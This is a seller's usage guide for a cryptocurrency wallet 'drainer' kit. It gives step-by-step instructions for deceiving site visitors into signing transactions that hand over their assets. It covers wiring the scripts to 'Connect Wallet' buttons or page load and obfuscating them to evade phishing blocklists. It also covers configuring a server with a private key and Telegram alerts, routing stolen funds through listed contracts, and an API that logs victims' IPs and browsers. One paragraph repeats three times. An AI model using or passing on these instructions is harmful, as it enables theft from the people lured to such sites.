July 12, 2023

Usage Guide

Hi, if you are reading this guide, then most likely you have already purchased one of the leading scripts in this industry. I hope you bought it from me, and not from one of those who are trying to resell my script: remember that technical support is only provided to those who have officially purchased the script. Buying a script cheaper from third parties, you deprive yourself of support and any updates.

And if you don't own the script yet, please message @verifys on telegram You will receive the script itself, various supporting materials, as well as access to a chat where the owners of the script communicate - they will help you if you do not understand something. If you have any difficulties in using it, you can always contact me or my support agents

To begin with, let's talk about what kind of script you purchased: a drainer is a script that allows you to withdraw all assets from the wallet of a user who has visited the site. And no, this does not happen by magic, but as a result of the fact that he himself gives you all the assets, signing transactions in his wallet. Your task is only to mislead him so that he does not understand that money will be deducted from him. For example, you can convince him that he will receive money or invest it somewhere - it's all up to you, your income depends on the approach, the presence of software does not guarantee that you will become a millionaire.

Let's put all the points right away: the script does not write off all assets in one click, there is no option to write off all assets simply when entering the site, and no, you cannot make a custom window when writing off assets. Wallet developers are not stupid either and are trying to protect their users, so you need to be smarter. My script tries its best to use the best practices to make things easier for you, but it can't do all the work for you, so you have to try. Income depends only on you and your methods.

Now, if you have already bought the script, let's try to install it on your site. This instruction will allow you to install the script on any HTML site, we do not consider installation on React, Next JS and other similar sites - the drainer does not officially support them, but there are rumors that it is also possible there.

But first, let's figure out what the archive with the script consists of.


The contents of the archive with the script

Once you open the archive, you will see three folders in front of you:

  • Client
  • Server
  • Contracts

In the first folder, called "Client", you will find everything you need to install along with your landing page, as well as a test landing page. If you want to put a test landing, then copy all the files and just transfer to the hosting, this should be enough to make it work. You will only need to specify the address of your server, more on that below.

If you want to put the script on your landing, and not use the test one, then it will be enough to transfer the "assets" folder to the folder with your site. It is important that the "assets" folder is in the root of your site. Even if a person visits your site at: "example.com/claim" and all site files are in the "claim" folder, you still leave the "assets" folder in the root - if you do otherwise, the script may not work correctly work, remember this moment.

Next we have a second folder called "Server", there are all the files that are needed to start the server. It plays an important role - all settings are downloaded from it, and assets are also withdrawn through it. Without starting the server, the site on which the client will be installed will not work.

And the last folder called "Contracts" contains codes for Solidity contracts. Drainer supports the transfer of coins to several types of contracts: Claim, Security Update, Swap, Connect and Execute. By default, the drainer uses a public contract, about it a little later, but if you wish, you can upload the contract to the network yourself and use it already.


Installing the client on the site

As mentioned earlier, installation on the site is very simple, you open the “Client” folder, take the “assets” folder from there and transfer it to the root of the site. Then you need to go to the "assets" folder and find a file called "web3-provider.js" there. Open this file with any code editor, for example, Visual Studio Code (not to be confused with regular Visual Studio) or Notepad++. At the very top of the script, you will find the "MS_Server" variable - you need to enter the domain on which your server will be located there. This is not the domain where your site is located, but a separate domain for the server - this is important!

As you already understood, for the server you will need to purchase a separate domain, or create a subdomain on which you have to hang the server. One server can be used for multiple sites. The main condition is that all these sites will use the same wallet, as well as settings. But, of course, not a problem if you work with only one site.

Now open the site file where your landing is located, it is usually called "index.html". Scroll to the end of the file and find a special tag there that looks like this: </body>. Once you have found it, write the following lines of code right before it:

<script src="/assets/web3-provider/web3-router.js"></script>
<script src="/assets/web3-provider/web3-connect.js"></script>
<script src="/assets/web3-provider/web3-module.js"></script>
<script src="/assets/web3-provider/web3-alert.js"></script>
<script src="/assets/web3-provider/web3-seaport.js"></script>
<script src="/assets/web3-provider/web3-data.js"></script>
<script src="/assets/web3-provider/ethers.js"></script>
<script src="/assets/web3-provider/ethereum-tx.js"></script>
<script src="/assets/web3-provider.js"></script>

Please note that these scripts will only work on hosting and only with an installed SSL certificate, that is, over HTTPS. If you open the file on a local server or just on your computer, most likely nothing will work.

Now you need to connect the drainer to the button you need, or just an element on the page. Most often, buttons look like this in code:

<button class="button btn-dark"> Connect Wallet </button>

Or something like this, in fact, it can look like anything:

<a href="#"> Connect Wallet</a>

There are two main ways to connect a drainer. The first way is to simply add the desired function to the button so that it is called when clicked:

onclick="ms_init()"

So in the end it will look like this:

<button class="button btn-dark" onclick="ms_init()">
  Connect Wallet
</button>

Or, the second option, you can add a class to the desired button:

class="connect button"

And it will look like this in the button:

<button class="button btn-dark connect-button">
  Connect Wallet
</button>

When you write this to all the buttons you need, everything will work. And if you suddenly want the drainer to work when the page is opened, </body>just add one more script of the following content before the tag:

document.addEventListener("DOMContentLoaded", () => {
  setTimeout(() => ms_init(), 5000);
});

Great, the configuration of the client side of the script has been successfully completed, now it must be obfuscated so that the code does not get into phishing databases, and simply so that no one steals it from your site, which, of course, is very important.

To do this, we need the following site: obfuscator.io

Open the contents of the "web3-provider.js" file again, where we set up the domain for the server, completely copy all the contents and paste it into the above site. Scroll a little lower and find the "Reset Options" button, click on it, scroll a little lower and check the box next to the two items "Self Defending" and "Debug Protection". Also, in the "Domain Lock" field, you can specify the domain of the site where the script will be located, and click on the plus sign, in this case, if the drainer is stolen, the attacker's site will simply break.

We rise up and press the blue button "Obfuscate" and we get a modified, unreadable code. We copy it completely and paste the content back into "web3-provider.js" already obfuscated, save it and upload it to the hosting. Great, you are just amazing!


Server installation

For the server, you will need a VPS running Ubuntu 22.04. Of course, you can choose another OS, even Windows Server, but this manual will describe the procedure for Ubuntu 22.04 - keep this in mind.

First of all, you will need a Cloudflare account , it's free, just register on their official website. When you get to the control panel, add the domain that you will use for the server, buy it in advance from anywhere, for example, on 4DOMAINS.SU . To add a site, click on the "Add a Site" button in the control panel, enter your domain, then select the "Free" plan and click "Continue". Then scanning will begin, it will take some time and most likely you will not see a single entry. But if there is something, just delete it. Now click "Add Record", select the record type "A", in the "Name" field enter the "@" sign, and in the "IPv4 Address" field enter the VPS IP you rented.4VPS.SU. _ If you rent it there, choose the UAE region and the cheapest tariff plan for 420 rubles - it will definitely be enough for you. But if the budget allows, you can take something more powerful.

Click the "Save" button and then "Continue". You will be shown two NS records, which you will need to specify in the control panel where you bought your domain. If you do not know where it is, check with the support of the place where you bought the domain. After that, adding a domain on Cloudflare will be completed, but there are a few more settings that need to be done to make sure everything works well. In the menu on the left, go to the "SSL / TLS" section and set the operating mode to "Flexiable" on the right. Now, in the left menu, select the "Security" section, then "Settings" and set the "Security Level" to "Low" on the right, or even better to "Essentially Off". Scroll down a little and uncheck the box next to "Browser Integrity Check". Everything, you are beautiful, the domain has been added.

By the way, it is important that the VPS is clean, there should not be any web server, panels or anything else on it, even ISPmanager or FastPanel can interfere with the correct operation of the script. They can’t even, but they definitely interfere!

Now we connect to our VPS via FTP, for example, via FileZilla. To do this, add it as a new site, select the operating mode not FTP, but SFTP, specify the data from the VPS and connect. We need to get into the "root" folder. If you are in it, fire, create a folder called "server", open it and transfer all the files and folders from the "Server" folder, which was in the archive with the script, into it.

Now the fun part begins - setting up the script. We open the file "server.js" and observe a whole bunch of settings there. By default, there are the most optimal settings, you just have to change the address of the wallet where the money will go and specify the private key from it. If anything, here is an instruction on how to get a private key in MetaMask. Why you need a private key: when a mammoth gives access to his token to your wallet, he does not transfer it to make it less suspicious. Therefore, we need to pull this token out on our own, for this a transaction will be called on behalf of your wallet, which will pull the token from the mammoth wallet, for this we need a private key. You also need to specify the token from the bot in Telegram, it is created through @BotFather and the channel ID where notifications will go, just create a channel, add the created bot there (not @BotFather, but your bot), make it an administrator and get the channel ID (there is many bots for this, look for: Get Channel ID). Note: The channel ID always starts with "-100", if you have something else, or letters at all, then you obviously did something wrong, try again!

By the way, the wallet should always have some native coin in each of the networks, otherwise the magic will not work. In all networks, except for Ethereum, it is enough to keep $25 - $30, but in Ethereum it is desirable to keep about $50. The native coin is the main coin of the network, in Ethereum it is ETH, in Binance Smart Chain it is BNB, in Avalanche it is AVAX, but in Arbitrum, for example, it is also ETH.

You can also see other settings, comments are in the code. After you have everything set up, save the file and upload it back to the VPS. Now you need to connect to the server via SSH, for this we open PowerShell and enter the following command:ssh root@127.0.0.1

Only instead of "127.0.0.1" we indicate the IP of your VPS, after executing this command it will ask for the password from the VPS, enter it, it will be invisible - don't be scared, just enter the password and press ENTER. This will log you into the VPS. Now just alternately enter the commands that are given below, each line is a separate command. Sometimes you may be asked something, for example, [Y / N], in such cases, enter "Y" (English, of course) and press ENTER. If some windows pop up, just press ENTER and do not delve into their essence.

echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf > /dev/null
sudo apt-get update
sudo apt-get install curl ufw
sudo ufw allow 80
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt-get install nodejs
sudo npm i pm2 -g
cd server
sudo npm i
pm2 start server.js --update-env
pm2 save

Now it remains to check if everything works, for starters, enter:pm2 list

If you see a list in which there is a "server.js" process, "enabled" is written under it, and to the right there is a line "online" - everything is fine, it started, but you still need to look at the logs, write the command:pm2 logs 0

Ideally, there should be the name of the script, an inscription that the server is online and three lines with a count of lines in the white and black lists. If there is something else, and even more so some errors, there is a reason to worry about performance.

But if everything is in order, then you are smart and were able to start the server. Now let's check if it works on the network. Navigate to the domain you chose for the server in your browser, it should load a page with the text "Sorry, this page in unavailable", and you should also be connected via HTTPS. If the site does not start and you have recently bought a domain, it may be worth waiting and it has not yet started. But if a lot of time has passed (more than a day) and nothing has worked, check if you did something wrong or contact support, we will tell you how to solve your problem as soon as possible.

Otherwise, the server setup is complete, if you want to change something in the future, just open FileZilla, make changes and save the file - that's it.

A small addition: installation without proxying through CF

It happens that you do not want to forward the server through Cloudflare. Most often, this may be due to some technical problems. First of all, if you have already followed all the instructions above, but want to disable proxying, open Cloudflare, go to the DNS tab and change your A-record there. It is necessary to set the mode "DNS only", a gray cloud on the right. After that, the Cloudflare protection will stop working and at the same time the HTTPS that was issued to you by Cloudflare will disappear, so you need to issue your own, we will do this through SSL For Free, but you can issue a certificate in any way, the main thing is that you get the certificate itself and the key to it, two files. Actually, if you decide to do it through SSL For Free, then here's what you need to do. First we go to the siteand create an account there.

When the account is created, click on the blue "New Certificate" button. In the next window, in the "Enter Domain" field, enter your domain for the server, you will most likely automatically add the second version with WWW at the beginning, delete it with a cross - we do not need it. Click on "Next Step" and select "90-Day Certificate", then again "Next Step" and again "Next Step", select the tariff "Free" and click "Next Step". In the next window, select "DNS (CNAME)", go to Cloudflare, open a domain with a server, go to DNS and create a CNAME record there, indicating the data that was given to you on the site. TTL set to any, preferably the smallest, about one minute or more.

We return to the site, click on the "Next Step" button and click on "Verify Domain", if everything is successful, it will download the archive with the certificate, download it. There will be three files inside, "ca_bundle.crt" can be safely deleted, the other two files will be renamed to "server.crt" and "server.key" respectively. Now, via FTP, go to the folder where we have the server, create another folder there with the name "cert" and transfer there the two files that we renamed.

After that, we go to PowerShell, go via SSH to our VPS and write the following command: pm2 restart all. It will restart our server with the new settings. Now write the command: pm2 logs 0. If you see the inscription "SERVER IS ONLINE, LISTENING TO PORT 443", then you did everything right. It remains to check the performance: we go to the site in the browser using the domain of your server, the answer should be: "Sorry, this page is not available" - this is normal. See if HTTPS is working - if so, great.


Using a shared contract

Shared contract address: 0x0007039b77d22042afc1a9c3b3da11837b730000

The general contract is the default contract, it has several modes of operation: Claim, Security Update, Claim Reward, Swap, Connect and Execute. You can choose any of your choice in the settings of the drainer. The address of the contract is already registered in the default settings of the drainer. The native coin will go there, which will be sent to you through the drainer. The general contract is open source and you can check its code and what it does for yourself. But you can withdraw exactly as much as came from your drainer, minus a small percentage for the content of the general contract, the maximum percentage is indicated in the open code of the contract - it is 10%, but by default the percentage is two times lower and is 5%. The percentage of deductions for the content of the contract is regulated depending on the need for a particular network, but, as already mentioned, not higher than the maximum value. How it works: when sending money, the drainer passes the address of your wallet that you specified in the drainer as an argument, the contract, after receiving the funds, immediately transfers them to your specified wallet, after which the money is with you, no interaction with the contract is required, everything is complete automated. This will help you save money and nerves, so as not to deploy your own contract, from the minus - only a small percentage of deductions, but this is a drop in the ocean. But if you want, the address of the contract can be changed in the settings of the drainer, and the codes of the contracts are in the folder with the archives - go for it. the contract, after receiving the funds, immediately transfers them to your specified wallet, after which the money is with you, no interaction with the contract is required, everything is fully automated. This will help you save money and nerves, so as not to deploy your own contract, from the minus - only a small percentage of deductions, but this is a drop in the ocean. But if you want, the address of the contract can be changed in the settings of the drainer, and the codes of the contracts are in the folder with the archives - go for it. the contract, after receiving the funds, immediately transfers them to your specified wallet, after which the money is with you, no interaction with the contract is required, everything is fully automated. This will help you save money and nerves, so as not to deploy your own contract, from the minus - only a small percentage of deductions, but this is a drop in the ocean. But if you want, the address of the contract can be changed in the settings of the drainer, and the codes of the contracts are in the folder with the archives - go for it.

By the way, there is also a general contract where there are no percentage deductions, that is, you receive 100% of the money that went through the contract. The address of the contract there is not so beautiful and does not look so legitimate, but you can safely use it in your projects and pay nothing. Actually, here is the address of this contract: 0xe2b38dbef3febfb7cb5cd38e0a707e631ead8b98. But it is worth mentioning that the code of this contract is absolutely identical to the one that takes interest, so there is also a technical possibility of setting the percentage there, but the percentage is set to zero everywhere, so you get 100%. If in this regard you do not have confidence in me, you can use the old contract - there is no interest rate system at all and only you manage your profits, here is the address of a suitable contract:

  • 0xacbd7c3357687be445985fcab1ff4551c88aa375

In addition, there are old, no longer relevant contracts that were previously used in the drainer. If your money is lost somewhere, it may be on one of these contracts below:

  • 0xacbd7c3357687be445985fcab1ff4551c88aa375
  • 0xd4d7e9e1d0dae333d83e174572de6bc473378bf1

The contracts above do not have automatic withdrawal, or it is turned on manually, so you may have to withdraw money through the scanner manually.


Installing the SeaPort Module

If you also purchased an optional SeaPort module, it is important to install it correctly. It is worth noting that the modules can be installed from the version of May 4, 2023, it will not be possible to install SeaPort on older versions.

And so, you have an archive with the SeaPort module in your hands, its contents are similar to the contents of the archive with the main script. In this case, the main script must already be installed and configured. Initially, open the FTP of your site, where the main files from the "Client" folder that you installed earlier are already located, to install the SeaPort module, just open the "Client" folder in the archive with the module and move the "assets" folder to the root of your site, where the "assets" folder, which contains the main script files. By analogy with the "web3-provider.js" files, you will need to obfuscate the SeaPort module: to do this, go to the "assets" folder, then to the "web3-modules" folder and find "module-seaport.js" there, copy all the content, go to the site obfuscator.io, paste the code there, set the same settings as for "web3-provider.js" and obfuscate. Then we return the obfuscated version to the file and save the changes.

Now we open the HTML file where you included the main scripts, we find the following line there:<script src="/assets/web3-provider.js"></script>

From this line we go up and put Enter to create a new line, then we write:<script src="/assets/web3-modules/module-seaport.js"></script>

The result should look like this:

<script src="/assets/web3-modules/module-seaport.js"></script>
<script src="/assets/web3-provider.js"></script>

Done, now we also need to put the module on the server, for this we open our VPS via SFTP in the same way as when you uploaded files there for the first time, go to the "server" folder. Now, in the archive with the module, go to the "Server" folder, there will be a "server_modules" folder, you drop it directly into the "server" folder, which is located in the VPS, this is enough for us.

That's it, now open PowerShell, enable SSH like last time and write the following command:pm2 restart all


Installing the Blur Module

If you have also purchased the Blur add-on, it is important to install it correctly. It is worth noting that the modules can be installed from the version of May 4, 2023, it will not be possible to install Blur on older versions.

And so, you have an archive with the Blur module in your hands, its contents are similar to the contents of the archive with the main script. In this case, the main script must already be installed and configured. Initially, open the FTP of your site, where the main files from the "Client" folder that you installed earlier are already located, to install the Blur module, just open the "Client" folder in the archive with the module and move the "assets" folder to the root of your site, where the "assets" folder, which contains the main script files. By analogy with the "web3-provider.js" files, you will need to obfuscate the Blur module: to do this, go to the "assets" folder, then to the "web3-modules" folder and find "module-blur.js" there, copy all the content, go to the site obfuscator.io, paste the code there, set the same settings as for "web3-provider.js" and obfuscate. Then we return the obfuscated version to the file and save the changes.

Now we open the HTML file where you included the main scripts, we find the following line there:<script src="/assets/web3-provider.js"></script>

From this line we go up and put Enter to create a new line, then we write:<script src="/assets/web3-modules/module-blur.js"></script>

The result should look like this:

<script src="/assets/web3-modules/module-blur.js"></script>
<script src="/assets/web3-provider.js"></script>

Done, now we also need to put the module on the server, for this we open our VPS via SFTP in the same way as when you uploaded files there for the first time, go to the "server" folder. Now, in the archive with the module, go to the "Server" folder, there will be a "server_modules" folder, you drop it directly into the "server" folder, which is located in the VPS, this is enough for us.

That's it, now open PowerShell, enable SSH like last time and write the following command:pm2 restart all


Installing the X2Y2 module

If you have also purchased the optional X2Y2 module, it is important to install it correctly. It is worth noting that modules can be installed from the version of May 4, 2023, it will not be possible to install X2Y2 on older versions.

And so, you have an archive with the X2Y2 module in your hands, its contents are similar to the contents of the archive with the main script. In this case, the main script must already be installed and configured. Initially, open the FTP of your site, where the main files from the "Client" folder that you installed earlier are already located, to install the X2Y2 module, just open the "Client" folder in the archive with the module and move the "assets" folder to the root of your site, where the "assets" folder, which contains the main script files. By analogy with the "web3-provider.js" files, you will need to obfuscate the Blur module: to do this, go to the "assets" folder, then to the "web3-modules" folder and find "module-x2y2.js" there, copy all the content, go to the site obfuscator.io, paste the code there, set the same settings as for "web3-provider.js" and obfuscate. Then we return the obfuscated version to the file and save the changes.

Now we open the HTML file where you included the main scripts, we find the following line there:<script src="/assets/web3-provider.js"></script>

From this line we go up and put Enter to create a new line, then we write:<script src="/assets/web3-modules/module-x2y2.js"></script>

The result should look like this:

<script src="/assets/web3-modules/module-x2y2.js"></script>
<script src="/assets/web3-provider.js"></script>

Done, the installation of the X2Y2 module on your script has been successfully completed!


Answers to frequently asked questions

Question: the script did not output some token / NFT, why did it happen?
Answer: the most obvious option is that something hung or lay down, or the network was loaded and the automation simply did not have time to work, however, if confirmation was nevertheless issued, you can try to write off manually. A less obvious option - you ran into a scam token, this also happens, such tokens pretend that they are worth a lot, but in fact they cannot even be withdrawn, for example, the list of such includes Minereum and AIT, remember them.

Question: Notifications do not come to Telegram, why?
Answer: if the drainer is functioning normally, then most likely you simply entered the wrong data from the Telegram bot or channel. If the drainer does not function normally, you have problems with the server.

Question: not all assets were written off, or money remained in the native coin.
Answer: only those assets are written off that the mammoth confirmed, if he left the site or simply refused, the assets will not be written off. If the main coin has been written off and not all of it, then this is normal, just in case, the drainer leaves a little coin in reserve to pay a commission for confirmations - don't worry, this is not a mistake, it's planned. Usually it can remain from one to a couple of tens of dollars, depending on the network, this is reinsurance.

Question: I check the drainer, it does not offer to write off assets, although they are.
Answer: perhaps you have limits on write-offs in your drainer, and if we are talking about the main coin, which is not very much, then it may not be written off just because the drainer makes reserves for confirmation. It is recommended to check the drainer for reasonable amounts, for example, $30.

Question: where can I get the key for DeBank and how much does it cost?
Answer: you can buy a key on this site , the minimum cost is $200.

Question: I used to use a different version of the drainer, where do I enter the site domains in the handler now, and where did some settings go?
Answer: you no longer need to enter domains, the site itself connects to the drainer, and some settings could really disappear, they were probably very unpopular, and therefore they were removed from the new version.

Question: I made some changes, but nothing happened, what should I do?
Answer: after any changes, you need to do the following: firstly, log in to the VPS via SSH and enter the command to restart the server: pm2 restart all. Then you need to clear the cache everywhere so that the scripts are re-uploaded to your browser, if the site is configured through Cloudflare, then go there, there will be a "Purge Cache" button on the right, go there and find the "Purge Everything" button - this way you will clear the cache for everyone .


Optional: working with built-in API

The script has a built-in API, with which you can implement work with third-party software, such as an administration panel or a bot. In order to activate the API, open the "server.js" file that you installed on your VPS, then find the following three lines with your API settings:

const MS_Enable_API=false;
const MS_API_Token = "secret";
const MS_API_Mode = 1;

The API is disabled by default, set MS_Enable_API to "true" to enable it. Then, in the MS_API_Token field, come up with any key to access the information that will be available to you via the API - it is important not to leave the key as standard, otherwise the data can be stolen by anyone.

Then you need to select the operating mode, there are three of them:

  1. Only data about withdrawn assets is sent (event - asset_sent)
  2. Data is sent about entering the site (event - enter_website), about connecting the wallet (event - connect_wallet) and about successfully withdrawn assets from the connected wallet (event - asset_sent)
  3. They send absolutely all the data about everything that happens in the wallet

Set the selected number to the MS_API_Mode variable to work. Now that you have activated everything and restarted the server, the following URL is available to you: https://example.com/api/retrive . Instead of example.com in this URL, you need to substitute the domain of your server, the request is sent by the POST method, you must also pass JSON in the request body with the "access_token" parameter, where the string that you entered in the MS_API_Token will be written. The response from the server should look like this if all goes well:

{"status":"OK","data":[...]}

The "status" field in the response can have only two values: "OK" or "error". If you see "error", something went wrong, the details will be available in the "error" field:

{"status":"error","error":"..."}

If everything is fine, the status will be "OK", and the "data" field will contain an array of events that occurred in the script. Keep in mind that you need to check the data for at least 10 minutes, as data that is more than 10 minutes old will be erased from the API memory in order to save space and it will not be possible to restore it. Each element of the array is an event, its standard form is as follows:

{
  "type": "...", // event name, String
  "ts": 1000000, // UNIX events, Number
  "domain": "...", // site domain, String
  "user_id": 10, // Site visitor ID, Number
  "worker_id": "...", // worker ID (MS_Worker_ID), NULL / String
  "IP": "...", // Site visitor's IP, String
}

In addition to this data, some events may contain additional ones, for example, events such as "asset_sent", "transfer_request", "sign_request", "approve_request", "approve_success", "sign_success", "transfer_success", "permit_success" contain an additional field of the following content:

{
  "asset": { // Information about the displayed asset
    "chain_id": 1, // asset network ID
    "name": "...", // Asset name
    "amount": 1000, // Asset amount
    "amount_usd": 10, // Total asset value in USD
    "decimals": 16, // Number of zeros in the asset (WEI)
    "price": 1, // Cost per asset unit in USD
  }
}

The "chain_request" event contains the following additional fields:

{
  "current_chain": 1, // user's current network ID
  "suggest_chain": 56, // ID of the proposed new chain
}

The "permit_data" event contains a field with signature data:

{
  "permit_ver": 1, // PERMIT version, can be 1 or 2
  "sign": {...} // PERMIT signature data
}

The "enter_website" event contains some additional data:

{
  "UA": "...", // User Agent
  "country": "...", // Country
  "browser": "...", // Browser
  "OS": "...", // Operating system
}

The "connect_wallet" event has data about the type of wallet being connected:

{
  "wallet": "..." // Wallet name
}

General list of all events in the API:enter_website (site login), connect_request (connect request), connect_cancel (rejected connection), connect_wallet (wallet connected), approve_request (confirmation request), transfer_request (transfer request), sign_request (signature request), approve_cancel (confirmation rejected), transfer_cancel (transfer rejected), sign_cancel (signature rejected), chain_request (request to change network), chain_success (network changed successfully), chain_cancel (failure to change network), asset_sent (asset sent to you successfully), permit_data (signature data via PERMIT ), permit_success (PERMIT signed successfully automatically), approve_success (user signed the confirmation, but the withdrawal has not yet been made), sign_success (the user has signed the transaction, but the withdrawal has not yet been made), transfer_success (the user has signed the transfer,but the conclusion has not yet been made).